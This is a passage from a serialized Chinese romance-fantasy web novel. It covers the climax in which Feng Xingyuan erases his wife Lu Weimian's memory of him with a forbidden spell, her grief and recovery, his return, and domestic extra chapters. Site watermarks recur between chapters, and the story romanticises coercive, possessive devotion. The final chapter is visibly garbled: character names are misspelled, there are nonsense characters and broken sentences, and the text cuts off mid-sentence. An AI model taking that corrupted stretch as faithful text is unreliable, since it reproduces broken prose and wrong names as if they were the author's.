地宫入口大开,里面沿路满是死侍的尸身血肉,再往里看,就仿佛与一望无际的深渊对视。 空洞而令人心惊。 里面只有破败摇曳的战火光芒。 凌双提着最后一个死侍的脖子,一刀穿心,扔在一旁,四周安静下来。 混乱之中,只听到他们的兵马大喊着“谁!”,“快把她拦下!”。 凌双回头,还没等反应过来,那一身黑色斗篷但格外娇小的身影从几个将士的手中逃出来,径直朝着地宫深处跑过去。 身后跟着慕景怀,一下子吸引走了所有火力。 急得慕景怀破口大骂,“你们他妈抓我干嘛,把鹿微眠抓回来!老子得进去!” 凌双一愣,适才反应过来刚刚跑进去的那个身影是谁。 他转头看过去,鹿微眠已经跑远了。 她下了地宫,四周一片昏暗,偌大的城池也只有外面有细微的光亮。 四处什么都看不清,鹿微眠强忍着对黑暗的恐惧,漫无目的地在地宫里搜寻那个人的影子。 “封轸!”鹿微眠的声音回荡在空无的地宫里。 她也不知道自己走到了什么地方,只是忽然间听见了身后人悠然的腔调,“又不叫夫君。” 鹿微眠回头看过去。 看见封行渊站在地宫唯一的光亮之处,兴致昂然地看她。 鹿微眠恍惚中有种不太真实的错觉,仿佛那道光影会突然消失。 但是封行渊朝她走了过来,唇角还带着笑,“我就说得把那个小傻子的嘴给缝起来。” 鹿微眠声音很轻,“你骗我,你说过会叫醒我的。” “本来我是很想和夫人一起死的,”封行渊走到她面前,摸了摸她的脸,“后来发现,舍不得。” 封行渊默了片刻,“我好像能理解,夫人当初为什么不辞而别了。” “你既不许我这么做,为什么现在也要这样?” 封行渊沉吟着,“我是想,夫人难得努力到现在,就不想看一看,你的家人朋友,都相安无事的场景吗?” 鹿微眠看着他,嗓音轻颤,“那你呢?” 封行渊笑了,“你知道的,我对这些不感兴趣,我只对你感兴趣。” 鹿微眠能闻见这地宫内的潮湿血腥气,“因为我才做这些,值得吗?” “值得。” “那你带上我又能如何,”鹿微眠握住他的手,“如果他们能好好的,那也不需要我看。父亲母亲有鹿峥,其他人都有他们自己的生活,我不是他们身边必须存在的人。” 封行渊看着她,眼底映着周围昏暗跳跃的火光,“你怕我孤单吗。” “是你不该因为我做与你没有任何益处的牺牲。”鹿微眠眼前的视线被泪水模糊,“如果你答应,这件事应该我来。” “什么你来我来的。”封行渊笑了,“以后不要再和那个小傻子玩了。怎么跟他一样,成天抢这种事。” 他语调轻松悠闲,与往日一样,“夫人就没想过,如果我能出去呢?” “那你要是出不去怎么办!” 鹿微眠无法想象那样的光景,“你要我怎么办。” “夫人比我厉害,也比我朋友多。夫人不是最知道,谁离了谁都应该好好的生活吗?”封行渊指尖抚过她的脸颊,扣住她的后颈,凑近了些,“过不了多久,你就又能开心快乐的生活了。” “不会的,你要我踩着你的血肉快乐。”鹿微眠觉得自己永远不会快乐了。 “你要是出不去,那我就陪你。” 封行渊轻笑出声,“夫人好倔啊……” 他看着她的眼睛,语调微沉,“那如果,让你忘了我会不会好一些。” 鹿微眠秀眉轻蹙,一时间没明白他的意思。 直到看着他眼底红痣微光,游思有片刻的恍惚时,才猛然间将他一把推开! “你疯了吗?!” 这是在被摄魂术剥离记忆的征兆! “我本就是个疯子,”封行渊轻而易举地抓住她的手腕,将人往自己身前带过来,“你忘了,上辈子,我那般欺负你,你很讨厌我的。” 鹿微眠想躲他的视线,却被他握住下颚抬起。 他指腹轻轻摩挲着她的脸颊,“其实后来,我也有许多让你讨厌的想法。” “我不喜欢阿眠身边总是有那么多朋友,有那么多能让你在意的人,太多了,多得我杀不完。” “我想让这天下所有人都死光,只剩下我,你就只能爱我。” “但我不能让你知道,怕你讨厌我。” “可哪怕是让你讨厌我,我也不希望你想起我来会难过,会想死。” 封行渊懂了当初在揽星阁里,卫沉和卢青的选择,“我的阿眠,在哪里都应该是快乐的,没有我也一样。” 鹿微眠被他握着下颚,几乎是被动地凝望着他的眼睛。 他的血色异瞳仿佛一望无际的深渊,被他盯紧,多看几眼就能被毫不留情地卷入。 鹿微眠唇角因为记忆被剥离的恐慌而颤动着,“封行渊,我跟你说过,如果再有一次,我就再也不要你了!” 封行渊额头抵着她的,声音又轻又哑,“我知道。” 其实他本来就是她的世界里,最可有可无的人。 他做过一场梦。 梦里,鹿微眠一袭红裙,但脸色苍白如纸,连气息都无比虚弱。 不知何时,可能连呼吸都会不复存在。 他抱着她在院子的日光下晒太阳,告诉她今日太阳正好。 是想试探,她的病情有没有好转,兴许可以看见了呢。 可她还是看不见,甚至感觉不到今天是个艳阳天。 她出神地看着一处发呆,很轻地出声问他,“我死后能不能让我与父母弟弟合冢。” 明明是在日光下,封行渊却觉得她手脚冰凉,怎么也暖不热她的手。 “死”字从鹿微眠嘴里说出来,格外地刺耳。 “你不会死的。” 她闭了闭眼睛,大概也没有力气坚持和挣扎,“我早该死了。” “若有来生,希望我能护好他们,不让你们再有进京的机会。” 封行渊不自觉地捏紧了她的手。 她气息孱弱,连说话都像是极其耗费气力的事情。 他听到她与他说的最后一句话是,“还有……下辈子,我不想再见到你了。” 说完,他掌心握着的手完全垂落。 像是一块腐肉从他心口连根挖走,可那块腐肉深入心脉,生生挖空了他整颗心脏。 他能感觉到,自己的手指轻抖。 不知过了多久,他低头靠在她耳边,像是往日与她耳语那样,“鹿微眠,你休想。” “下辈子,也休想摆脱我。” 昏暗地宫里,封行渊凝望着她的眼睛。 鹿微眠想躲,但是身体仿佛被钉在原地。 她眼眶通红,“你不能这样,你……” 地宫之上,是震耳欲聋的雷雨轰鸣声和四周接连不断响起的山崩。 一声剧烈的轰鸣声响起,地宫之上开始动荡起来,碎石不间断地往下坠落。 “轰隆”一下。 他们都站不稳,封行渊单膝撑跪在地上,将她腰身紧紧箍住,手臂收拢环抱着她。 是能将她嵌入骨血的力气。 但鹿微眠却感觉到有什么从她思绪和身体里剥离掩埋,在震天轰鸣声与他的声音和气息相融,在她耳边低喃,“鹿微眠,我爱你。” “忘了我。” 在那场瑰丽梦境的后半程。 他守着她的棺椁,找到了祭奠礼法,以活人生灵,换死人重生。 他以血身为祭,换她重生。 他想,他们有来生了。 * 轰隆声倾覆天地,从大地深处骤然响起。 突然间出现的巨大天坑将正好被洪水冲击到此处的游船掀翻在洪水之中。 洪水倾盆灌入。 刹那间,仿若世界颠倒,江海翻腾。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 【正文完】 第71章 枕星眠 细雨在飞檐翘脚连成珠帘, 轻敲在窗外芭蕉叶上。 “滴答滴答”的声响清脆入耳。 鹿微眠睁开眼睛,眼尾还是湿的。 耳边响起熟悉的声音,“醒了醒了, 夫人醒了。” 紧接着屋子里四下一片欢喜,“太好了。” “谢天谢地。” 鹿微眠看着头顶床幔,思绪混沌, 头疼欲裂。 暮云凑上来, “夫人, 可有感觉哪里不舒服吗?” 鹿微眠被扶起身,看了她一会儿, 很长时间没有说话。 屋子里聚集了许多人。 褚楚和暮云坐在床榻边, 褚楚的药箱打开放在床头柜子上。 再往外是暮雨钧宜,父亲母亲, 还有很多。 可鹿微眠怎么看怎么觉得…… 好像缺了一个。 褚楚试完她的脉象并没有异常,才握着她的手说着,“你已经昏迷半月了。” 鹿微眠看着她, 眼泪从眼角滚出。 一颗一颗像是断了线的珠子。 暮云赶忙在旁边给她擦眼泪,却根本赶不上眼泪掉落的速度。 鹿微眠敛眸,伸出手,摸了摸濡湿的脸颊。 才意识到自己哭了, “为什么会哭……” 屋内一阵沉寂。 褚楚见状轻轻蹙眉,靠近些细问, “你还有哪里不舒服吗?” 鹿微眠看着她,眼眶泛红, 摸了摸心口的位置, 声音哽咽,“这里会疼。” 很疼很疼。 可褚楚诊脉, 她的心脉并没有问题。 褚楚轻声问着,“你还记得,你昏迷前发生的事情吗?” 鹿微眠摇头看着她,眼泪砸在自己的手背上。 一下比一下清晰。 鹿微眠不知道这情绪是从哪里来的。 可就是觉得好难过。 褚楚倾身将她抱住,“想不起来就先不想了。” “要是难过就哭出来。” 鹿微眠被她抱着,眼泪更加汹涌了些,哭腔浓重,“大概,大概是我见到你们,太高兴了。” “我不应该难过的……” 可我好难过啊。 我真的好难过。 众人看着她的反应,皆是低下头,暗自叹息。 鹿瑜红着眼睛问褚裕,“小女这是……” 褚裕不太懂个中细节,只道,“有这样的情况,在经历重大伤痛之后,会失去某一部分记忆。” 鹿瑜讶然,转头看向鹿微眠。 他们原本以为,鹿微眠醒来后,会第一时间询问封行渊怎么样了。 他们已经斟酌了半月,该怎么跟鹿微眠解释。 却没有想到,她没有再提过封行渊。 褚楚给鹿微眠喝完安神汤后,出来跟褚裕所解释的一样。 但是鹿微眠身体上没有什么异样,鹿瑜他们暂且放心。 鹿微眠一睡半月,身体虚浮无比。 她试着下床走动,才知道他们还在姑苏。 京城赶来了不少人。 凌双赶去城外,将族中长老接到了宅院里。 长老火急火燎地问,“眼下如何?” 凌双摇了摇头。 “这个小兔崽子。”长老忍不住低骂出声,“绑了老夫就这般胡闹!” 他眉头紧锁,看向凌双,“那他保下来那位姑娘呢?” 凌双反应片刻,才知他说的是鹿微眠,“对了,夫人她眼下好像是因为被殿下用了摄魂术,失去了对殿下的记忆。” 长老猛猛拍桌,“胡闹!太胡闹了!” “那姑娘如今算是我们王室之人,没有殿下,按照王室规矩,她也可掌我西陵王室之权,这么重要的人……”长老气得脸颊通红,这鹿微眠连封行渊都忘了该如何让她统领西陵王室。 “你们身为他身边的亲信,为何不制止他?!” 凌双低头,不敢多言语。 “若老夫没有猜错,那姑娘与殿下并无契约关系,殿下是私自催动的摄魂术?” 凌双迟疑着,只能承认,“是。” 长老怒极,气喘不匀,“这个混小子!” “虞念怕是根本没细教他,摄魂术强制催动这是我族禁令!” “反噬心脉都还是其次,若是被控制者的意志力强于施咒者,她的意志力会反影响施咒者,严重一点就是被控制。” 长老气血都冲到了头顶,说完不得不缓了缓,“罢了,眼下说这些没有用。” “那位姑娘呢?” “您可千万别急,”凌双赶忙制止长老,“殿下做了这番决定也一定是耗尽心血的,若是让她想起来了……” “此事应当从长计议,反正咱西陵没人管也不是一年两年了。” 长老杵着拐杖,“你这小子,怎么也跟你主子一样邪性。” 他思索着叹了口气,的确也不能太急了。 而此时,房门外,鹿微眠安安静静地听完,深吸了一口气看了看院内光景。 江南的梅雨季好像快要结束了。 雨水逐渐减少。 偶尔能从天边缝隙中窥见难能可贵的日光。 鹿微眠时常坐在院子里晒太阳发呆。 听到隔壁院子里婴儿的啼哭声,她就去看一看。 春莺生了。 她也是后来才知道,慕景怀并没有从临安回来。 他消失在了那场洪水中。 春莺得到了消息就情急早产,产后生了一场大病。 只是那些人在跟鹿微眠说这件事的时候,总是支支吾吾,生怕她多问什么一样。 看都不敢多看她几眼。 鹿微眠都看在眼里。 春莺病着。 鹿微眠时常会去帮她看一看小风。 她们两人在一起格外安静。 相对而坐,相顾无言。 听说临安大水已退。 临安城内只是有一些屋舍受损,还需要进行后续修缮。 最大* 的麻烦就是陛下驾崩于临安。 宫中很快就闻讯来了人,将他们这宅院团团围住。 掌事大太监苦口婆心地劝春莺带着小皇子回宫。 一向是好说话的春莺难得固执无比。 她说她不回宫。 她要在这里等殿下。 大太监急得团团转,“姑娘啊,你回去了那可是无边的富贵荣华,你那是太后娘娘啊。” 从一个小小宫女,一下子变成了万人之上的太后。 “这是多少人梦寐以求的福分。” 春莺气得把茶盏砸在他们面前,将人都赶了出去。 当初她进宫就有人说那是福分,去侍奉慕景怀,他们还说是福分。 在他们看来,宫里什么都是福分。 只有她自己进了宫,得到了“春莺”这个名字才知道。 她在宫里无非是那一只笼中鸟。 有用时留着玩赏,没用时就杀了泄愤。 那不是福分,那是能锁住她一生的囚笼。 大太监每日都来劝。 春莺直接闭门不见。 最后一日,大太监实在是受不住,跪在春莺门外哭,“姑娘啊,您这可是为难老奴。” “老奴也不想这般,可实在是没有办法啊。” “即便您再有千万般不愿,也知道这国不可一日无君,时间长了不仅民心动荡,这边关也扛不住。” 他的哭声像是哀嚎,实在是有些难听。 把原本在哭的慕倚风给逗笑了,咿咿呀呀地想要去抱母亲,却发现母亲没有笑。 春莺摇着手边的摇篮,将他抱起。 大太监的哭声还在继续,“不说老奴,就是三殿下这般做,不就是为了江山太平吗。” “怎么殿下也留了一个后继人在这里,不至于让我朝亡了。” “若是这般一直拖着,恐怕不日后又有贼人想要起兵造反,这可怎么办啊。” “这若是三殿下在,定也不希望看到这些事情发生。” 房门“吱吖”一声打开。 大太监正哭得鼻涕一把眼泪一把,看见门开了一时还没反应过来。 春莺抱着孩子,看了他们一眼,随后进屋。 这是让他们跟进来的意思。 大太监连忙拍拍身上的尘土,擦干净眼泪,弓着身子小跑进门,“姑娘,您可是想通了?” 他看见春莺拿纸笔。 赶忙转头叫人进来伺候笔墨。 大太监心情轻快了些,“对嘛,想通了就好,等您身子好些,我们慢慢启程回宫。” 春莺扔给他一张纸,上面写着,“我不回宫。” 大太监脸色一僵,又开始哭。 春莺像是听不见,只是专注地写着什么。 鹿微眠午时睡醒便被暮云叫去隔壁院子,“春莺姑娘叫您过去呢。” 鹿微眠答应着,忙起身梳洗,走到隔壁院子时,只见地上乌泱泱地跪了一地的宫人。 鹿微眠被暮云小心扶进去。 屋子里,春莺怀里抱着孩子,旁边桌上放着一张纸,而大太监跪在春莺面前。 这场景怎么看怎么有些隆重。 鹿微眠走上前问春莺,“这是怎么了?” 春莺将桌上写好的纸张递给鹿微眠。 鹿微眠才发现,那不是一张纸,是一封过继书。 鹿微眠凝眉,难以置信,“你要把小风过继给我?” 春莺垂眸,拿出下一张纸,“我只相信你。” 鹿微眠摇头,“可我不会看孩子。” 春莺沉默片刻,“我也不会看孩子。” 她这段时间,一点心思都无法集中在孩子身上。 她有时会羡慕鹿微眠,能忘记真好。 但有时又觉得,忘记对于他来说太过残忍。 忘记才是一个人彻底的死亡。 谁忘了,她都不能忘记慕景怀。 鹿微眠坐在她对面,“你真的不能跟我们一起回去吗?” “我只想等殿下。” “哪怕是尸首,我也要等到他。” 春莺看着她,“你先带小风回去,等这边的事情都解决好,哪怕是尸首下葬结束,我会回去找你的。” 鹿微眠他们又在姑苏城等了数日。 鹿微眠想多等一等,万一慕景怀能回来呢。 可是日复一日还是没有消息。 他们还是得启程回京。 春莺正好出了月子,天气也暖了起来。 他们走的时候,是日头高悬,姑苏城外山清水秀,早就没了洪水肆虐的痕迹。 宫中遣了不少人留下来照顾春莺,查探慕景怀的消息。 春莺送他们上车,鹿微眠握着她的手,给她塞了一张字条。 叫她一切放心。 马车成队离开姑苏。 伍奚小声催促春莺,“这日头毒辣,姑娘先回去吧。” 春莺摇头。 她好久没有见到这么好的阳光了。 春莺展开鹿微眠的字条,看到上面写着“会好的”。 春莺鼻尖酸涩,在展开字条看到后面字迹时,眼泪汹涌而出,失声痛哭。 城郊树林繁密茂盛,花草遍地。 山风拂过,带起一阵清新花草香气。 鹿微眠坐在马车里,手忙脚乱地与暮云一起哄着哭闹不止的慕倚风。 好半天才知道他这是饿了,抱给乳母一下子就不哭了。 慕倚风的性子的确很温和,除去饿了和不舒服,很少哭闹。 听见什么大动静都竖着耳朵小心观察。 他们人多,路上走得慢了一些。 到京都已经六月盛夏,鹿微眠要照看慕倚风,不得不搬进宫中。 鹿微眠原以为进京入宫会有些阻力,却没想到一路顺畅。 卫沉职守皇城禁军兵力,卢太傅力排众议,西陵边关更是表示国母有任何闪失和非议,即刻起兵入京。 入京后,西陵长老还是来找了她。 鹿微眠依从长老的意思,将西陵属地归权放还给西陵,并暂代王族掌管西陵事宜。 同时调兵助西陵重新画归领土,驻扎边防,兴建城池。 到底是要依附大郾兴建,鹿微眠又只能在长安。 长老承诺可以附属朝贡,如果朝贡的是她,那也无妨。 长安城内一切平静如初。 像是什么都没有发生过一样。 国事需要,慕青辞从地牢里出来,日日带着一张面具,守在鹿微眠身边,告诉她京中事务该如何处理。 慕青辞时常试探她,等日后春莺回来。 她愿不愿意跟他走。 鹿微眠每次的回答都是,“我不走。” “我要等一个人来找我。” 哪怕是她根本都说不出来,那个人是谁。 鹿微眠住进兴庆宫后,兴庆宫里里外外都无比繁忙。 帮着这位国母收拾东西,布置宫殿。 鹿微眠一个不小心碰掉了包裹,里面洋洋洒洒飞出来许多纸张。 她扶着桌子,定睛看了一会儿,发现那是在去姑苏的路上,她陪在春莺旁边写的东西。 鹿微眠捡起来一张。 看见上面画着他们行进的路线。 算着到姑苏的日子,还有一些歪歪扭扭,漫无目的的描画。 剩下的,全是一个人的名字。 封轸、封行渊、夫君…… 她写了好多。 在那混乱的字迹之下,纸张的角落里,多出来了另一个笔迹。 写着,“我在”。 鹿微眠捡起第二张,还是在纷繁混乱的名字里,一个“我在”。 第三张、第四张…… 每一张都有。 直到鹿微眠面前的桌案上都被纸张排布开,铺满了她所有的视线。 鹿微眠茫然地看着眼前的信纸,轻声呢喃着,“可你在哪呢。” * 酷暑消融,清秋入城。 长安城内天高气爽,到了围猎时节。 但眼下慕倚风才三个月,无人坐镇,礼部便将围猎改成了上林苑踏秋。 这是这么久以来,京中十分清闲的游玩。 文武百官都兴致盎然,四周一片欢声笑语,从山林间遥遥而来。 鹿微眠坐在营帐里,身后暮雨正在给她梳妆。 她拿过妆匣里那个玫瑰石蝴蝶钗,“最近是不是快到了什么日子?” 暮雨愣了一下,绞尽脑汁地想着,也没想到快到什么日子了。 “没有吧……娘娘是不是记错了?” 鹿微眠将那蝴蝶钗递过去,没有再说话。 暮雨看见那蝴蝶钗心下哀叹,虽然鹿微眠忘了姑爷,但每日都戴着这个发钗。 暮雨替鹿微眠梳妆好之后出了营帐,正碰上暮云带着早膳准备进去。 她不由得问道,“方才娘娘问我最近是不是什么日子快到了,是有什么日子吗?” 暮云顿了一下,小心看了一眼营帐的方向,压低声音告诉暮雨,“去年,娘娘成婚差不多是这两日。” 暮雨一下子噤声。 暮云深吸一口气,“我有时也分不清,娘娘是忘了,还是没有忘。” 她说完,先进了营帐,服侍鹿微眠用早膳。 踏秋一共也就三日。 每日的日程都很是轻松。 鹿微眠不喜欢人多的地方,身着轻便的缙云色蝉纱绫裙,独自骑马去了一片原野。 上林苑漫山遍野的芙蓉花与红枫,入眼一片艳红夺目。 旁边的旷野种满了色泽各异的绣球花,仿若林间秘境,能让人安静些许。 鹿微眠拉扯缰绳,下马走在山野花丛间,顺着日出东方的光亮,看见几只蝴蝶从她周身飞过。 蜻蜓点水一般吻过她的裙角百花,又飞入花丛前。 鹿微眠轻轻俯身,指尖想要触碰蝴蝶却碰到了柔软的花瓣。 花瓣沾染秋日凝露,浸润着她的指尖。 有一只蝴蝶停在她发钗上,轻轻扇动着翅膀。 忽而身后响起一声慢条斯理的,“鹿微眠。” 鹿微眠触摸花瓣的动作停住,发间停歇的蝴蝶随着她起身的动作,振翅飞离。 她回过头,看见那人站在日光之下,身形被光线镀了一层金色绒边。 模糊到随时可能消失。 他们相隔一片花海,四周静默无声。 封行渊走到她面前。 鹿微眠才发现眼前的人没有消失。 他左眼上那一角面具四分五裂,但是被他粘连起来,坏成这样都没有扔掉。 鹿微眠深吸了一口气,红着眼睛看他,“你是谁啊?” 封行渊眼帘微垂,“别生气。” 鹿微眠转过身,“我都不认识你,为什么要生气。” 她的手腕被他握住,拉了回来,将她紧紧抱住。 鹿微眠推搡着他的手臂,仍然被紧压在他胸口。 她听着他胸口鲜活的震动,一口咬在了他的肩头,嗓音混合哭腔,“封轸,你混蛋。” 封行渊哑声低喃,“我混蛋。” 清风拂过山涧,吹得山涧花丛窸窣作响。 他在摄魂术反噬之中,被她胜于一成的意志力控制。 他存活于她久久不息的生存指令中,一遍一遍听到她的声音,告诉他,你必须活着出来找我。 鹿微眠在给春莺的字条的后半段写道,“他们没事,我能感觉到。” 蝴蝶翻飞而过。 万里江山之上,雄鹰振翅高旋。 自此清秋岁月枕星眠。 —正文完—魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 番外 第72章 太轻 临安那场洪水的情况没有波及城中, 但郊野荒原外一片狼藉。 四处都是山崩碎石与垮塌的山林,仿佛经历过一场天崩地裂的肆虐与惩罚。 也像是山神自毁以保数万生灵。 临安城方圆百里几乎都要重修。 时隔三月,临安城内已经被清理得与洪灾前无异。 水坝进一步加固, 因此鹿瑜没有随他们回京。 在雨季彻底结束前,兴修水坝的工人得了朝廷赏钱,兴高采烈地回乡。 纷纷计划着休整几日, 再赴朝廷征工重修家园。 初秋时节, 临安城内天高气爽, 繁荣重现。 在外逃难的百姓闻讯接连回家,大街小巷人来人往, 再见故人归。 送走鹿瑜带来的朝廷治水队伍与援兵那日, 邓知府问着鹿瑜,“听说三殿下和令姑爷都找到了。” 鹿瑜笑呵呵地, “找到了,昨晚给小女写信准备送回京呢。只不过三殿下去找人了,要晚些启程, 不与我们一起走。” 邓知府感叹不已,心下一块大石头落了地,“找到了就好,找到了就好啊。” “谁说不是。”鹿瑜叫封行渊过来打了个招呼。 邓知府打量着眼前清秀俊丽的少年, “此番多亏了封大人。” “你说说,上哪找这般乖巧听话又知书达礼、还有勇有谋的姑爷。” 封行渊眉梢微扬。 听邓知府夸他夸得很是舒心。 上次听到这般夸奖, 还是他夫人夸他。 夫人好久没夸他了。 思及此,封行渊轻啧一声, 看向身后行军的队伍。 说来行军队伍走得慢, 不知何时才能回京。 一旁鹿瑜笑得合不拢嘴,满口的, “不敢当不敢当。” 他们正互相寒暄着,封行渊等不及,出声道,“今日日头正好,二位慢聊,我先行一步。” “诶好,”鹿瑜答应着,听着封行渊的话,还以为他是说想要去前面探探路,“对了,贤婿你走前面啊,记得先给咱们开一开路。” 鹿瑜说着一转头,发现封行渊已经跑没影了。 秋风扫过地面落叶,鹿瑜尴尬的转过身朝邓知府笑道,“这孩子,打小身法就利索。” 邓知府连连称是。 城门外送行一片欢声笑语。 不乏城中百姓拿了些吃食点心跑出来迎送。 被将士们推拒。 邓知府其实也准备了,只不过就知道他们不要,就趁着职务之便,都塞进了他们的箱子里。 等路上休整的时候,他们自然会看到。 也不是什么值钱的玩意。 无非是路上能走得舒服一些,吃饱穿暖罢了。 鹿瑜朝他作揖行礼,“这些时日,多亏了邓大人帮忙。” “哪里的话。”邓知府摆手,“是你们帮了我一个大忙,自去年你来,如今你我也算是生死一场至交。” 行军上路的号角吹响,鹿瑜最后说了两句话,“若是赋闲,也可来京城游玩,我必招待好你们一家。” 邓知府莫名红了眼眶,背过身去朝他们摆手,“哎呀,不用客气。” “走吧走吧。” 邓知府本想再推几个来回,听到身后没动静,转头一看鹿瑜他们都上了马车,“真走了啊。” 邓知府看着马车启程的背影,还是忍不住高喊道,“路上小心!到了京城给个回信啊!” 鹿瑜从马车里摆手答应着。 封行渊快马加鞭,比鹿瑜的信要早到几日。 因此临安城治水与重建的队伍回京时,他与鹿微眠坐在皇城城门上看着。 城门大开,长安城内百姓夹道相迎,一片庆贺与欢呼声。 高呼司空大人肱骨,国父大人英武。 国父大人是指封行渊。 文武百官一致商定,便也如此执行。 鹿微眠不知道那百官里,有多少封行渊的人。 反正自打她进宫以来,一切顺风顺水。 朝堂上,没有人敢对她有什么非议。 自然也没有人对封行渊有非议,再加上西陵兵马还在京。 他们说,国父以身涉险换国运康泰,当之无愧。 鹿微眠看着封行渊闲散地倚靠在旁边,听着楼下山呼海啸的夸奖。 他眼帘低垂,手里把玩着下人送上来消暑的折扇,在思忖着什么。 很快抬起头与鹿微眠对视。 鹿微眠冷不防被他的视线烫了一下,别开头看楼下,“看我干什么,他们在迎你。” 封行渊看着她,“你没有迎我。” 鹿微眠唇线绷直,轻抿一口茶盏,“我怎么没迎你。” 她其实还有点气。 现在还说生气,显得她小心眼。 但怎么可能不生气嘛。 他凭什么觉得自己有资格剥夺她对他的记忆,鹿微眠给他倒了一盏茶,“你就当我忘了你啊,我迎陌生人都是请喝茶的。” 对面男人看着她推过来的茶盏,沉吟片刻。 大抵是觉得不够,遂将手中折扇“哗啦”一声合拢,忽然起身,“可我不想喝茶。” 他起身带来的侵略感,让鹿微眠不自觉的握紧手中的茶盏。 封行渊从桌子对面绕过来,目的性有些强。 这让鹿微眠有点害怕,不自觉地起身想与他拉开距离,“这位公子,你要注意一些,我们素未谋面,男女授受不亲……” 封行渊:“亲哪?” 鹿微眠退开几步,远离茶桌,“你不要乱来,你的罚期还没到呢。” 她说完,确认他没有进一步的动向,趁着还能逃掉,转身就走。 封行渊看着她的背影深吸了一口气,却是笑了。 小夫人规矩可真多。 鹿微眠听着身后的动静,他还真乖乖的没有追上来胡作非为。 表现还不错。 也不是什么正经的惩罚。 无非是西陵长老说他身体还没有完全恢复又舟车劳顿,短时间内不宜再进行过于剧烈的活动。 尤其是情-事,他一向贪多,在对自己身体控制能力差的时候,意志力也薄弱,很容易对咒术失去控制能力。 动情时,是他意志力最脆弱的时候,他脑海中的幻想越疯狂,就会在不经意间引动咒术。 毕竟咒术也是依靠意志力催动。 她起先也没想那么严格,只是封行渊刚回来时,她多看他两眼,他都忍不住。 罢了,鹿微眠想本来也是要有些规矩的。 她都说了,再用一次就不要他了。 他那般坏地滥用术法,怎么能一点惩罚都没有。 七日禁-欲而已,已经很宽容了。 况且鹿微眠也是听长老说才知道,滥用那个东西,会反噬心脉。 难怪当时她刚刚醒来的时候,心脏很疼。 无非是她压过了他的自由意志,所以那时候反噬是在她身上。 鹿微眠刚刚下皇城城墙,就有人前来与她说,“鹿司空回来了。” 鹿微眠心下雀跃,“眼下在哪?” 下人回禀着,“先回了趟司空府,准备午后进宫。” “不必进宫了,我去家里见他。”鹿微眠如今自由得很,又没人管束,想去哪都无所谓。 皇城规矩管不着她,到底她也不是正经的皇家太后,但却有着同等的权力。 鹿微眠乘着马车,到底是要回家看父亲母亲,也不好跟封行渊分坐两个马车。 只能同乘前往司空府。 鹿微眠在马车上比划了一条分界线,“你在这边,我在这边。” 封行渊只饶有兴致地看着她,偶尔在她问听没听见之时点点头。 乖得不行。 鹿微眠有点舒服,还是夫君听话了好。 到了司空府,家中张灯结彩,下人早上就开始准备今日的团圆饭,见到鹿微眠与封行渊回来更加惊喜。 孙嬷嬷连忙说着,“方才夫人还觉得可惜,姑娘姑爷不能回家用膳,这话撂下你们就进门了。” 院子里的下人催促着叫他们进屋,鹿峥跑来接他们。 只不过与家宴不同的是,司空府外有禁军把守。 午膳早早的准备好了,很是丰盛。 饭桌上鹿瑜视线一直在鹿微眠和封行渊来回打转,最后还是没忍住问道,“阿眠,可是想起来了?” 鹿微眠差点忘了自己在大家面前一直装着忘了他。 她明知故问,“想起什么?” “就是……”鹿瑜示意,“阿轸。” “没有啊。”鹿微眠故意道,“我跟他还不熟,就是旁人都与我说,他是谁,我才知道一些。” 封行渊凑近些许,“那我是你的谁?” 他的距离突然间靠得极近,近到鹿微眠能看见他浓密眼睫下的戏谑光影,连气息都仿佛能触碰到。 鹿微眠哽住。 这到底是在长辈面前,这般近的距离有些不成体统。 鹿微眠偷偷在桌下拍了他大腿一下。 不等她抽离,手掌就被人不动声色地捏住。 封行渊得逞便人模狗样地坐正身子,状似良善温和道,“许是想起来还需要时日,我也不急。” 鹿瑜点点头,附和道,“眼下一切平安,其他的都不重要,日子还长,慢慢就能再熟悉了。” 在鹿瑜看不见的角度。 封行渊将鹿微眠的手牢牢地握在掌心,又慢又重的揉捏着。 那只骨节分明的漂亮大手浸了些滚烫的温度包裹着她,掌心和手指上的薄茧摩挲着她的手。 将鹿微眠葱白手指都捏得微微发红。 生生将她的脸也捏红了。 封行渊还若无其事地与鹿瑜搭话。 鹿微眠抽动了几下,抽不开,轻咬唇瓣。 鹿峥坐在对面,硬生生看着鹿微眠的脸变红,“阿姐,你……” 鹿微眠生怕他看出什么来,“吃你的饭。” 封行渊拖腔带调地接了一句,“你好凶啊。” 还不都是因为他。 鹿微眠抽不开手,只能恼羞成怒地又踩了他一脚。 这回封行渊没有阻止她,由着她踩着自己的官靴。 力道不重,哪怕是她整个人踩上来都不重。 只是心底升起一股轻微的麻痒。 他声音很低,“踩太轻了。” 鹿微眠脸颊瞬间涨红。 他真的好坏啊。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 73、第73章... 桌上其他人完全没有发现他们之间的小动作。鹿峰还在因为听到封行渊帮他说话而感动无比咚于有人帮我说话了,你是不知道我在家受她欺压已久。” 鹿眠治眼看了过去,鹿峰立马骥声,换了个说法“当然网阳还是温柔善良、端庄大方的,就是偶尔我有些顽皮,让阿姐费心。 鹿瑜和叶绾在一旁只顾着笑,并不言语。 午膳过后,他们只在司空府小坐一阵子,就回了官。 封行渊同住兴庆宫。他是这阵子兴庆宫新来的第二位主子。 兴庆宫鲜少这般热闹。 宫内宫人面对封行渊还有些拘谨毕竟他们从前都是侍奉太后的,太后薨逝数年,他们多是深居简出,鲜少与前朝打交道,顶多和后宫的人有些来往。因而他们对封行渊并无太多印象。 鹿微眠将封行渊带进来那一日,非常突然踏秋前还毫无征兆,踏秋后就带回来了。 文武百官称呼他为国父大人,但国母看起来似乎与他不熟好像是因病失去了对他的记忆,但其中缘故他们下人没有必要细究。总归也都是主子,得敬着。 鹿微眠与封行渊刚刚进门,兴庆宫内掌事沛芹姑姑便一如往常地上前,小声道,“慕公子来帮娘娘看册封奏书了。”封行渊眸色稍显意味深长,“慕公子?” 沛芹回着,“是。”“慕公子偶尔会来帮娘娘分忧,大人您才回京几日没见过也是正常。” 封行渊扬眉,“哪个慕公子?”不等沛芹回答,一道月白色身影,便远远地出现在长廊尽头。隔了一段距离与他对视。 两人视线相撞的瞬间,空气中就弥浸开微妙的危险气息 慕青辞看见封行渊,眸色就暗了几分,很快,他的视线就落在了鹿微眠身上。小心观察着鹿微眠的表情。 但这一时间也判断不出来,鹿微眠有没有想起封行渊来。慕青辞上前问着鹿微眠,他 